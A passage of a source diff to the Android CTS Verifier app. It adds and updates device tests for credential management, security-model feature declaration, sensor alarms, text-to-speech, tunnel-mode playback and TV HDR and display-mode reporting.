+                            KeyProperties.SIGNATURE_PADDING_RSA_PSS,
+                            KeyProperties.SIGNATURE_PADDING_RSA_PKCS1)
+                    .build();
+            mAttestedKeyPair = mDevicePolicyManager.generateKeyPair(null, KEY_ALGORITHM,
+                    keyGenParameterSpec, 0);
+            mHandler.post(() -> setResult(mGenerateKeyPair, mAttestedKeyPair != null));
+        });
+    }
+
+    private void createAndInstallCertificate() {
+        X500Principal issuer = new X500Principal("CN=SelfSigned, O=Android, C=US");
+        X500Principal subject = new X500Principal("CN=Subject, O=Android, C=US");
+        try {
+            mCertificate = createCertificate(mAttestedKeyPair.getKeyPair(), subject, issuer);
+            setResult(mCreateAndInstallCertificate,
+                    mDevicePolicyManager.setKeyPairCertificate(null, TEST_ALIAS,
+                            Arrays.asList(new X509Certificate[]{mCertificate}), false));
+        } catch (Exception e) {
+            Log.w(TAG, "Failed to create certificate", e);
+            setResult(mCreateAndInstallCertificate, false);
+        }
+    }
+
+    private void requestCertificateForAuthentication() {
+        String[] keyTypes = new String[]{KEY_ALGORITHM};
+        Principal[] issuers = new Principal[0];
+        TestKeyChainAliasCallback callback = new TestKeyChainAliasCallback();
+        KeyChain.choosePrivateKeyAlias(this, callback, keyTypes, issuers, TEST_URI, null);
+    }
+
+    private void getPrivateKeyAndSignData() {
+        // Get private key with chosen alias
+        mExecutor.execute(() -> {
+            try {
+                final PrivateKey privateKey = KeyChain.getPrivateKey(
+                        getApplicationContext(), mChosenAlias);
+                mHandler.post(() -> {
+                    // Sign data with the private key
+                    try {
+                        Signature sign = Signature.getInstance("SHA256withRSA");
+                        sign.initSign(privateKey);
+                        sign.update(DATA);
+                        mSignature = sign.sign();
+                    } catch (NoSuchAlgorithmException | InvalidKeyException
+                            | SignatureException e) {
+                        Log.w(TAG, "Failed to sign data with key", e);
+                    }
+                    setResult(mSignDataWithKey, mSignature != null);
+                });
+            } catch (KeyChainException | InterruptedException e) {
+                Log.w(TAG, "Failed to get the private key", e);
+            }
+        });
+    }
+
+    private void getPublicKeyAndVerifySignature() {
+        // Get public key from certificate with chosen alias
+        mExecutor.execute(() -> {
+            try {
+                X509Certificate[] certChain =
+                        KeyChain.getCertificateChain(getApplicationContext(), mChosenAlias);
+                mHandler.post(() -> {
+                    boolean verified = false;
+                    if (certChain != null && certChain.length > 0) {
+                        PublicKey publicKey = certChain[0].getPublicKey();
+                        // Verify the signature with the public key
+                        try {
+                            Signature verify = Signature.getInstance("SHA256withRSA");
+                            verify.initVerify(publicKey);
+                            verify.update(DATA);
+                            verified = verify.verify(mSignature);
+                        } catch (NoSuchAlgorithmException | InvalidKeyException
+                                | SignatureException e) {
+                            Log.w(TAG, "Failed to verify signature", e);
+                        }
+                    }
+                    setResult(mVerifySignature, verified);
+                });
+            } catch (KeyChainException | InterruptedException e) {
+                Log.w(TAG, "Failed to get the public key", e);
+            }
+        });
+    }
+
+    private void removeCredentialManagementApp() {
+        mExecutor.execute(() -> {
+            final boolean result =
+                    KeyChain.removeCredentialManagementApp(getApplicationContext());
+            mHandler.post(() -> {
+                setResult(mRemoveCredentialManagementApp, result);
+                if (result) {
+                    mHasCredentialManagementApp = false;
+                }
+            });
+        });
+    }
+
+    private void setResult(DialogTestListItem testListItem, boolean passed) {
+        if (passed) {
+            setTestResult(testListItem, TestResult.TEST_RESULT_PASSED);
+        } else {
+            setTestResult(testListItem, TestResult.TEST_RESULT_FAILED);
+        }
+    }
+
+    @Override
+    protected void handleActivityResult(int requestCode, int resultCode, Intent data) {
+        switch (requestCode) {
+            case REQUEST_MANAGE_CREDENTIALS_STATUS:
+                setResult(mRequestManageCredentials, resultCode == RESULT_OK);
+                if (resultCode == RESULT_OK) {
+                    mHasCredentialManagementApp = true;
+                }
+                break;
+            default:
+                super.handleActivityResult(requestCode, resultCode, data);
+        }
+    }
+
+    private class TestKeyChainAliasCallback implements KeyChainAliasCallback {
+        @Override
+        public void alias(String alias) {
+            mChosenAlias = alias;
+            setResult(mRequestCertificateForAuthentication, mChosenAlias.equals(TEST_ALIAS));
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS
index ce78771..f5cd322 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS
@@ -1,6 +1,8 @@
 # Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204 = per-file CA*.java, Ca*.java, KeyChainTest.java
 # Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204 = per-file LockConfirmBypassTest.java, SetNewPasswordComplexityTest.java
+# Bug template url: https://b.corp.google.com/issues/new?component=746324&template=1398789 = per-file: SecurityModeFeatureVerifierActivity.java
 # Bug component: 189335 = per-file FingerprintBoundKeysTest.java, IdentityCredentialAuthentication.java, ProtectedConfirmationTest.java, ScreenLockBoundKeysTest.java
 per-file CA*.java, Ca*.java, KeyChainTest.java = alexkershaw@google.com, eranm@google.com, rubinxu@google.com, sandness@google.com, pgrafov@google.com
-per-file LockConfirmBypassTest.java, SetNewPasswordComplexityTest.java = alexkershaw@google.com, eranm@google.com, rubinxu@google.com, sandness@google.com, pgrafov@google.com
-per-file FingerprintBoundKeysTest.java, IdentityCredentialAuthentication.java, ProtectedConfirmationTest.java, ScreenLockBoundKeysTest.java = swillden@google.com
\ No newline at end of file
+per-file LockConfirmBypassTest.java, SetNewPasswordComplexityTest.java, CredentialManagementAppActivity.java = alexkershaw@google.com, eranm@google.com, rubinxu@google.com, sandness@google.com, pgrafov@google.com
+per-file FingerprintBoundKeysTest.java, IdentityCredentialAuthentication.java, ProtectedConfirmationTest.java, ScreenLockBoundKeysTest.java = swillden@google.com
+per-file SecurityModeFeatureVerifierActivity.java = jjoslin@google.com, tomcherry@google.com
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/SecurityModeFeatureVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/SecurityModeFeatureVerifierActivity.java
new file mode 100644
index 0000000..256893b
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/SecurityModeFeatureVerifierActivity.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.security;
+
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.view.View;
+import android.view.View.OnClickListener;
+import android.widget.Button;
+import android.widget.ImageView;
+import android.widget.TextView;
+
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+/**
+ * This test confirms that handheld and tablet devices correctly declare the
+ * {@link PackageManager#FEATURE_SECURITY_MODEL_COMPATIBLE} feature.
+ */
+public class SecurityModeFeatureVerifierActivity extends PassFailButtons.Activity {
+    private ImageView mHandheldOrTabletImage;
+    private TextView mHandheldOrTabletText;
+    private Button mHandheldOrTabletOkButton;
+    private Button mHandheldOrTabletNaButton;
+    private boolean mFeatureAvailable;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        View view = getLayoutInflater().inflate(R.layout.security_mode_feature_verifier, null);
+        setContentView(view);
+        setInfoResources(R.string.security_mode_feature_verifier_test,
+                R.string.security_mode_feature_verifier_instructions, -1);
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+
+        mHandheldOrTabletImage = (ImageView) findViewById(R.id.handheld_or_tablet_image);
+        mHandheldOrTabletText = (TextView) findViewById(R.id.handheld_or_tablet_text);
+        mHandheldOrTabletOkButton = (Button) findViewById(R.id.handheld_or_tablet_yes);
+        mHandheldOrTabletNaButton = (Button) findViewById(R.id.handheld_or_tablet_not_applicable);
+
+        mFeatureAvailable = getPackageManager()
+            .hasSystemFeature(PackageManager.FEATURE_SECURITY_MODEL_COMPATIBLE);
+
+        mHandheldOrTabletNaButton.setOnClickListener(new OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                setTestResultAndFinish(true);
+            }
+        });
+
+        mHandheldOrTabletOkButton.setOnClickListener(new OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                setTestResultAndFinish(mFeatureAvailable);
+            }
+        });
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
index b1ce20e..9bad7af 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
@@ -74,7 +74,7 @@
                                             new IntentFilter(ACTION_ALARM));
 
             Intent intent = new Intent(this, AlarmReceiver.class);
-            mPendingIntent = PendingIntent.getBroadcast(this, 0, intent, 0);
+            mPendingIntent = PendingIntent.getBroadcast(this, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
             mAlarmManager = (AlarmManager) getSystemService(ALARM_SERVICE);
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/OffBodySensorTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/OffBodySensorTestActivity.java
index b80be40..3f5b736 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/OffBodySensorTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/OffBodySensorTestActivity.java
@@ -298,7 +298,7 @@
         LocalBroadcastManager.getInstance(this).registerReceiver(myBroadCastReceiver,
                                         new IntentFilter(ACTION_ALARM));
         Intent intent = new Intent(this, AlarmReceiver.class);
-        mPendingIntent = PendingIntent.getBroadcast(this, 0, intent, 0);
+        mPendingIntent = PendingIntent.getBroadcast(this, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mAlarmManager = (AlarmManager) getSystemService(ALARM_SERVICE);
         mScreenManipulator = new SensorTestScreenManipulator(this);
         try {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
index e7e55f2..0a96886 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
@@ -198,7 +198,7 @@
         SuspendStateMonitor suspendStateMonitor = new SuspendStateMonitor();
 
         Intent intent = new Intent(this, AlarmReceiver.class);
-        PendingIntent pendingIntent = PendingIntent.getBroadcast(this, 0, intent, 0);
+        PendingIntent pendingIntent = PendingIntent.getBroadcast(this, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         AlarmManager am = (AlarmManager) getSystemService(ALARM_SERVICE);
         am.setExact(AlarmManager.ELAPSED_REALTIME_WAKEUP,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/speech/tts/TtsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/speech/tts/TtsTestActivity.java
new file mode 100644
index 0000000..f95162d
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/speech/tts/TtsTestActivity.java
@@ -0,0 +1,39 @@
+package com.android.cts.verifier.speech.tts;
+
+import android.content.ActivityNotFoundException;
+import android.content.Intent;
+import android.os.Bundle;
+import android.provider.Settings;
+import android.view.View;
+import android.widget.Button;
+import androidx.annotation.Nullable;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+/**
+ * Guide the user to run test for the TTS API.
+ */
+public class TtsTestActivity extends PassFailButtons.Activity {
+
+  private Button mAccessibilitySettingsButton;
+
+  @Override
+  protected void onCreate(@Nullable Bundle savedInstanceState) {
+    super.onCreate(savedInstanceState);
+
+    setContentView(R.layout.tts_main);
+    setInfoResources(R.string.tts_test, R.string.tts_test_info, -1);
+    setPassFailButtonClickListeners();
+
+    mAccessibilitySettingsButton = findViewById(R.id.accessibility_settings_button);
+    mAccessibilitySettingsButton.setOnClickListener(new View.OnClickListener() {
+        public void onClick(View v) {
+            try {
+                startActivityForResult(new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS), 0);
+            } catch (ActivityNotFoundException e) {}
+        }
+    });
+  }
+
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java
new file mode 100644
index 0000000..d99672d
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java
@@ -0,0 +1,131 @@
+package com.android.cts.verifier.tunnelmode;
+
+import android.app.Activity;
+import android.content.res.Resources;
+import android.media.AudioManager;
+import android.media.cts.MediaCodecTunneledPlayer;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.util.Log;
+import android.view.SurfaceHolder;
+import android.view.SurfaceView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.io.File;
+
+/**
+ * Test for verifying tunnel mode implementations properly handle content flushing. Plays a stream
+ * in tunnel mode, pause it, flush it, resume, and user can mark Pass/Fail depending on quality of
+ * the AV Sync. More details in go/atv-tunnel-mode-s.
+ * TODO: Implement the actual test. This is a placeholder implementation until the test design is
+ * stable and approved.
+ */
+public class MediaCodecFlushActivity extends PassFailButtons.Activity {
+    private static final String TAG = MediaCodecFlushActivity.class.getSimpleName();
+
+    private SurfaceHolder mHolder;
+    private int mAudioSessionId = 0;
+    private MediaCodecTunneledPlayer mPlayer;
+    private Handler mHandler;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.sv_play);
+        setPassFailButtonClickListeners();
+        disablePassButton();
+
+        SurfaceView surfaceView = (SurfaceView) findViewById(R.id.surface);
+        mHolder = surfaceView.getHolder();
+        mHolder.addCallback(new SurfaceHolder.Callback(){
+                public void surfaceCreated(SurfaceHolder holder) {
+                    // TODO: Implement a start button, rather than playing the video as soon as the
+                    // surface is ready
+                    playVideo();
+                }
+
+                public void surfaceChanged(
+                        SurfaceHolder holder, int format, int width, int height) {}
+                public void surfaceDestroyed(SurfaceHolder holder) {}
+            });
+
+        mHandler = new Handler(Looper.getMainLooper());
+
+        AudioManager am = (AudioManager) getApplicationContext().getSystemService(AUDIO_SERVICE);
+        mAudioSessionId = am.generateAudioSessionId();
+
+        mPlayer = new MediaCodecTunneledPlayer(mHolder, true, mAudioSessionId);
+
+        // TODO: Do not rely on the video being pre-loaded on the device
+        Uri mediaUri = Uri.fromFile(new File("/data/local/tmp/video.webm"));
+        mPlayer.setVideoDataSource(mediaUri, null);
+        mPlayer.setAudioDataSource(mediaUri, null);
+    }
+
+    private void playVideo() {
+        try {
+            mPlayer.start();
+            mPlayer.prepare();
+            mPlayer.startThread();
+            mHandler.postDelayed(this::pauseStep, 5000);
+        } catch(Exception e) {
+            Log.d(TAG, "Could not play video", e);
+        }
+    }
+
+    private void pauseStep() {
+        try {
+            mPlayer.pause();
+            mHandler.postDelayed(this::flushStep, 3000);
+        } catch(Exception e) {
+            Log.d(TAG, "Could not pause video", e);
+        }
+    }
+
+    private void flushStep() {
+        try {
+            mPlayer.flush();
+            mHandler.postDelayed(this::resumeStep, 3000);
+        } catch(Exception e) {
+            Log.d(TAG, "Could not flush video", e);
+        }
+    }
+
+    private void resumeStep() {
+        try {
+            mPlayer.start();
+            mHandler.postDelayed(this::enablePassButton, 3000);
+        } catch(Exception e) {
+            Log.d(TAG, "Could not resume video", e);
+        }
+    }
+
+    private void enablePassButton() {
+        getPassButton().setEnabled(true);
+    }
+
+    private void disablePassButton() {
+        getPassButton().setEnabled(false);
+    }
+
+    @Override
+    public void onPause() {
+        super.onPause();
+        if (mPlayer != null) {
+            mPlayer.pause();
+        }
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        if (mPlayer != null) {
+            mPlayer.reset();
+            mPlayer = null;
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java
index 4f8a825..0127082 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java
@@ -125,14 +125,16 @@
 
             getAsserter()
                     .withMessage("AudioTrack.isDirectPlaybackSupported is expected to return true"
-                            + " for PCM16 2 channel")
-                    .that(AudioTrack.isDirectPlaybackSupported(makeAudioFormat(ENCODING_PCM_16BIT, 44100, 2), audioAttributes))
+                            + " for PCM 2 channel")
+                    .that(AudioTrack.isDirectPlaybackSupported(
+                            makeAudioFormat(ENCODING_PCM_16BIT, 44100, 2), audioAttributes))
                     .isTrue();
 
             getAsserter()
                     .withMessage("AudioTrack.isDirectPlaybackSupported is expected to return false "
                             + "for EAC3 6 channel")
-                    .that(AudioTrack.isDirectPlaybackSupported(makeAudioFormat(ENCODING_E_AC3, 44100, 6), audioAttributes))
+                    .that(AudioTrack.isDirectPlaybackSupported(
+                            makeAudioFormat(ENCODING_E_AC3, 44100, 6), audioAttributes))
                     .isFalse();
 
             ImmutableList.Builder<String> actualAtmosFormatStrings = ImmutableList.builder();
@@ -171,14 +173,16 @@
 
             getAsserter()
                     .withMessage("AudioTrack.isDirectPlaybackSupported is expected to return true"
-                            + " for PCM16 6 channel")
-                    .that(AudioTrack.isDirectPlaybackSupported(makeAudioFormat(ENCODING_PCM_16BIT, 44100, 6), audioAttributes))
+                            + " for PCM 6 channel")
+                    .that(AudioTrack.isDirectPlaybackSupported(
+                            makeAudioFormat(ENCODING_PCM_16BIT, 44100, 6), audioAttributes))
                     .isTrue();
 
             getAsserter()
                     .withMessage("AudioTrack.isDirectPlaybackSupported is expected to return true "
                             + "for EAC3 6 channel")
-                    .that(AudioTrack.isDirectPlaybackSupported(makeAudioFormat(ENCODING_E_AC3, 44100, 6), audioAttributes))
+                    .that(AudioTrack.isDirectPlaybackSupported(
+                            makeAudioFormat(ENCODING_E_AC3, 44100, 6), audioAttributes))
                     .isTrue();
 
             ImmutableList.Builder<String> actualAtmosFormatStrings = ImmutableList.builder();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
index 72a34ba..e6128d8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
@@ -69,12 +69,154 @@
     @Override
     protected void createTestItems() {
         List<TestStepBase> testSteps = new ArrayList<>();
-        testSteps.add(new TvPanelReportedTypesAreSupportedTestStep(this));
-        testSteps.add(new TvPanelSupportedTypesAreReportedTestStep(this));
+        if (TvUtil.isHdmiSourceDevice()) {
+            // The device is a set-top box or a TV dongle
+            testSteps.add(new NonHdrDisplayTestStep(this));
+            testSteps.add(new HdrDisplayTestStep(this));
+            testSteps.add(new NoDisplayTestStep(this));
+        } else {
+            // The device is a TV Panel
+            testSteps.add(new TvPanelReportedTypesAreSupportedTestStep(this));
+            testSteps.add(new TvPanelSupportedTypesAreReportedTestStep(this));
+        }
         mTestSequence = new TestSequence(this, testSteps);
         mTestSequence.init();
     }
 
+    private static class NonHdrDisplayTestStep extends SyncTestStep {
+
+        public NonHdrDisplayTestStep(TvAppVerifierActivity context) {
+            super(
+                    context,
+                    R.string.tv_hdr_capabilities_test_step_non_hdr_display,
+                    getInstructionText(context),
+                    getButtonStringId());
+        }
+
+        private static String getInstructionText(Context context) {
+            return context.getString(
+                    R.string.tv_hdr_connect_no_hdr_display, context.getString(getButtonStringId()));
+        }
+
+        private static @StringRes int getButtonStringId() {
+            return R.string.tv_start_test;
+        }
+
+        @Override
+        public void runTest() {
+            DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
+            Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
+            getAsserter().withMessage("Display.isHdr()").that(display.isHdr()).isFalse();
+            getAsserter()
+                    .withMessage("Display.getHdrCapabilities()")
+                    .that(display.getHdrCapabilities().getSupportedHdrTypes())
+                    .isEmpty();
+        }
+    }
+
+    private static class HdrDisplayTestStep extends SyncTestStep {
+
+        public HdrDisplayTestStep(TvAppVerifierActivity context) {
+            super(
+                    context,
+                    R.string.tv_hdr_capabilities_test_step_hdr_display,
+                    getInstructionText(context),
+                    getButtonStringId());
+        }
+
+        private static String getInstructionText(Context context) {
+            return context.getString(
+                    R.string.tv_hdr_connect_hdr_display, context.getString(getButtonStringId()));
+        }
+
+        private static @StringRes int getButtonStringId() {
+            return R.string.tv_start_test;
+        }
+
+        @Override
+        public void runTest() {
+            DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
+            Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
+
+            getAsserter().withMessage("Display.isHdr()").that(display.isHdr()).isTrue();
+
+            Display.HdrCapabilities hdrCapabilities = display.getHdrCapabilities();
+
+            int[] supportedHdrTypes = hdrCapabilities.getSupportedHdrTypes();
+            Arrays.sort(supportedHdrTypes);
+
+            getAsserter()
+                    .withMessage("Display.getHdrCapabilities().getSupportedTypes()")
+                    .that(supportedHdrTypes)
+                    .isEqualTo(
+                            new int[] {
+                                Display.HdrCapabilities.HDR_TYPE_DOLBY_VISION,
+                                Display.HdrCapabilities.HDR_TYPE_HDR10,
+                                Display.HdrCapabilities.HDR_TYPE_HDR10_PLUS,
+                                Display.HdrCapabilities.HDR_TYPE_HLG
+                            });
+
+            float maxLuminance = hdrCapabilities.getDesiredMaxLuminance();
+            getAsserter()
+                    .withMessage("Display.getHdrCapabilities().getDesiredMaxLuminance()")
+                    .that(maxLuminance)
+                    .isIn(Range.openClosed(0f, MAX_EXPECTED_LUMINANCE));
+
+            float minLuminance = hdrCapabilities.getDesiredMinLuminance();
+            getAsserter()
+                    .withMessage("Display.getHdrCapabilities().getDesiredMinLuminance()")
+                    .that(minLuminance)
+                    .isIn(Range.closedOpen(0f, MAX_EXPECTED_LUMINANCE));
+
+            getAsserter()
+                    .withMessage("Display.getHdrCapabilities().getDesiredMaxAverageLuminance()")
+                    .that(hdrCapabilities.getDesiredMaxAverageLuminance())
+                    .isIn(Range.openClosed(minLuminance, maxLuminance));
+        }
+    }
+
+    private static class NoDisplayTestStep extends AsyncTestStep {
+        public NoDisplayTestStep(TvAppVerifierActivity context) {
+            super(
+                    context,
+                    R.string.tv_hdr_capabilities_test_step_no_display,
+                    getInstructionText(context),
+                    getButtonStringId());
+        }
+
+        private static String getInstructionText(Context context) {
+            return context.getString(
+                    R.string.tv_hdr_disconnect_display,
+                    context.getString(getButtonStringId()),
+                    DISPLAY_DISCONNECT_WAIT_TIME_SECONDS,
+                    DISPLAY_DISCONNECT_WAIT_TIME_SECONDS + 1);
+        }
+
+        private static @StringRes int getButtonStringId() {
+            return R.string.tv_start_test;
+        }
+
+        @Override
+        public void runTestAsync() {
+            // Wait for the user to disconnect the display.
+            final long delay = Duration.ofSeconds(DISPLAY_DISCONNECT_WAIT_TIME_SECONDS).toMillis();
+            mContext.getPostTarget().postDelayed(this::runTest, delay);
+        }
+
+        private void runTest() {
+            try {
+                // Verify the display APIs do not crash when the display is disconnected
+                DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
+                Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
+                display.isHdr();
+                display.getHdrCapabilities();
+            } catch (Exception e) {
+                getAsserter().withMessage(Throwables.getStackTraceAsString(e)).fail();
+            }
+            done();
+        }
+    }
+
     private static class TvPanelReportedTypesAreSupportedTestStep extends YesNoTestStep {
         public TvPanelReportedTypesAreSupportedTestStep(TvAppVerifierActivity context) {
             super(context, getInstructionText(context), R.string.tv_yes, R.string.tv_no);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java
new file mode 100644
index 0000000..cee5dac
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java
@@ -0,0 +1,331 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.tv.display;
+
+import android.content.Context;
+import android.hardware.display.DisplayManager;
+import android.os.Bundle;
+import android.view.Display;
+
+import androidx.annotation.StringRes;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.tv.TestSequence;
+import com.android.cts.verifier.tv.TestStepBase;
+import com.android.cts.verifier.tv.TvAppVerifierActivity;
+import com.android.cts.verifier.tv.TvUtil;
+
+import com.google.common.base.Throwables;
+import com.google.common.truth.Correspondence;
+import com.google.common.truth.FailureMetadata;
+import com.google.common.truth.Subject;
+
+import java.time.Duration;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.stream.Collectors;
+
+import javax.annotation.Nullable;
+
+/**
+ * Test for verifying that the platform correctly reports display resolution and refresh rate. More
+ * specifically Display.getMode() and Display.getSupportedModes() APIs are tested. In the case for
+ * set-top boxes and TV dongles they are tested against reference displays. For TV panels they are
+ * tested against the hardware capabilities of the device.
+ */
+public class DisplayModesTestActivity extends TvAppVerifierActivity {
+    private static final int DISPLAY_DISCONNECT_WAIT_TIME_SECONDS = 5;
+    private static final float REFRESH_RATE_PRECISION = 0.01f;
+
+    private static final Subject.Factory<ModeSubject, Display.Mode> MODE_SUBJECT_FACTORY =
+            (failureMetadata, mode) -> new ModeSubject(failureMetadata, mode);
+
+    private static final Correspondence<Display.Mode, Mode> MODE_CORRESPONDENCE =
+            Correspondence.from((Display.Mode displayMode, Mode mode) -> {
+                return mode.isEquivalent(displayMode, REFRESH_RATE_PRECISION);
+            }, "is equivalent to");
+
+    private TestSequence mTestSequence;
+
+    @Override
+    protected void setInfoResources() {
+        setInfoResources(R.string.tv_display_modes_test, R.string.tv_display_modes_test_info, -1);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+    }
+
+    @Override
+    protected void createTestItems() {
+        List<TestStepBase> testSteps = new ArrayList<>();
+        if (TvUtil.isHdmiSourceDevice()) {
+            // The device is a set-top box or a TV dongle
+            testSteps.add(new NoDisplayTestStep(this));
+            testSteps.add(new Display2160pTestStep(this));
+            testSteps.add(new Display1080pTestStep(this));
+        } else {
+            // The device is a TV Panel
+            testSteps.add(new TvPanelReportedModesAreSupportedTestStep(this));
+            testSteps.add(new TvPanelSupportedModesAreReportedTestStep(this));
+        }
+        mTestSequence = new TestSequence(this, testSteps);
+        mTestSequence.init();
+    }
+
+    @Override
+    public String getTestDetails() {
+        return mTestSequence.getFailureDetails();
+    }
+
+    private static class NoDisplayTestStep extends AsyncTestStep {
+        public NoDisplayTestStep(TvAppVerifierActivity context) {
+            super(
+                    context,
+                    R.string.tv_display_modes_test_step_no_display,
+                    getInstructionText(context),
+                    getButtonStringId());
+        }
+
+        private static String getInstructionText(Context context) {
+            return context.getString(
+                    R.string.tv_display_modes_disconnect_display,
+                    context.getString(getButtonStringId()),
+                    DISPLAY_DISCONNECT_WAIT_TIME_SECONDS,
+                    DISPLAY_DISCONNECT_WAIT_TIME_SECONDS + 1);
+        }
+
+        private static @StringRes int getButtonStringId() {
+            return R.string.tv_start_test;
+        }
+
+        @Override
+        public void runTestAsync() {
+            final long delay = Duration.ofSeconds(DISPLAY_DISCONNECT_WAIT_TIME_SECONDS).toMillis();
+            mContext.getPostTarget().postDelayed(this::runTest, delay);
+        }
+
+        private void runTest() {
+            try {
+                // Verify the display APIs do not crash when the display is disconnected
+                DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
+                Display display = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
+                display.getMode();
+                display.getSupportedModes();
+            } catch (Exception e) {
+                getAsserter().withMessage(Throwables.getStackTraceAsString(e)).fail();
+            }
+            done();
+        }
+    }
+
+    private static class Display2160pTestStep extends SyncTestStep {
+        public Display2160pTestStep(TvAppVerifierActivity context) {
+            super(
+                    context,
+                    R.string.tv_display_modes_test_step_2160p,
+                    getInstructionText(context),
+                    getButtonStringId());
+        }
+
+        private static String getInstructionText(Context context) {
+            return context.getString(
+                    R.string.tv_display_modes_connect_2160p_display,
+                    context.getString(getButtonStringId()));
+        }
+
+        private static @StringRes int getButtonStringId() {
+            return R.string.tv_start_test;
+        }
+
+        @Override
+        public void runTest() {
+            DisplayManager displayManager = mContext.getSystemService(DisplayManager.class);
